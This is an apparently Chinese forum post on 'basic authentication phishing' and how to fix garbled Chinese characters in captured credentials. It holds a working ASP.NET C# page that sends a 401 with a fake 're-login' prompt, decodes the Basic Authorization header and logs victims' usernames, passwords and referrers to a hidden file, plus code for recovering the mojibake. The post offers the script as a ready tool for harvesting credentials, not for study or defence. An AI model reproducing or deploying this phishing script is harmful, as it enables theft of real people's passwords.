關于基礎驗證釣魚中文亂碼的解決方法
最近基礎認證釣魚很火,不過亂碼始終是個問題。經測試后已實現的解決方法有兩種:
手動分析Request頭
如果客戶端接受了WWW-AuThenticate驗證,則會在下一次連接中添加請求頭 Authorization,格式為:
[code]
Authorization: Basic Og==
[/code]
Basic代表應用基礎模式驗證,由服務端WWW-AuThenticate頭指定的驗證模式指定。由于我們需要獲取密碼,所以這里一定為Basic。
之后以一個空格作為分隔符,其余的內容為用戶名與密碼,加密方式為標準BASE64,格式為 用戶名:密碼。
(更多資料請參考rfc文檔。)
所以我們只需要判斷請求頭是否包含Authorization即可,如果沒有的話則輸出401返回頭要求輸入密碼。
一段簡單的C#代碼:
[code="csharp"] <%
string logpath=Server.MapPath("\\fuck.config");
string info="please re-login";
string imgpath=Server.MapPath("\\img.jpg");
if(Request.Headers["Authorization"]==null||Request.Headers["Authorization"].StartsWith("Basic Og==")){
Response.Status="401 Unauthorized";
Response.AddHeader("WWW-AuThenticate",string.Format("basic ,Realm=\"{0}\"",info));
}
else{
string referrer=(Request.UrlReferrer==null)?"":Request.UrlReferrer.ToString();
System.IO.File.AppendAllText(logpath,Encoding.Default.GetString(Convert.FromBase64String(Request.Headers["Authorization"].Remove(0,5).Trim()))+"|"+referrer+"\r\n");
if(System.IO.File.Exists(imgpath))Response.BinaryWrite(System.IO.File.ReadAllBytes(imgpath));
}
%> [/code]
#p#
將亂碼轉換回正常的字符
亂碼其實是西歐字符,在拓展ASCII中為0x7f-0xff,所以只需要轉換回去就行了。
不過要注意:直接轉換是不可能的。在中文操作系統中0x7f-0xff單個字節被認為是無效字符,轉換后只能輸出0x3f(?)。同時如果想將亂碼保存到文件中,則必須使用unicode等格式保存,這時亂碼將變為兩字節,轉換更加繁瑣。
經過嘗試可以使用以下C#代碼轉換,注意:必須在winform下編譯使用,webform下即使是相同的Unicode編碼也會轉換出不同的字節數組,從而導致無法轉換。
[code]
using System;
using System.Text;
using System.Windows.Forms;
using System.Collections.Generic;
public class Decript
{
public static void Main()
{
string s="D??μò???è?";
byte[] arrb = Encoding.Unicode.GetBytes(s);
List<byte> lb=new List<byte>();
foreach(byte b in arrb){if(b!=0)lb.Add(b);}
Console.WriteLine(Encoding.Default.GetString(lb.ToArray()));
}
}
[/code]
之后又找到更簡便的方法:用Notepad2建立一個unicode文檔,將亂碼粘貼進去,之后在編碼選擇任意ISO開頭的編碼,保存后即轉換完畢。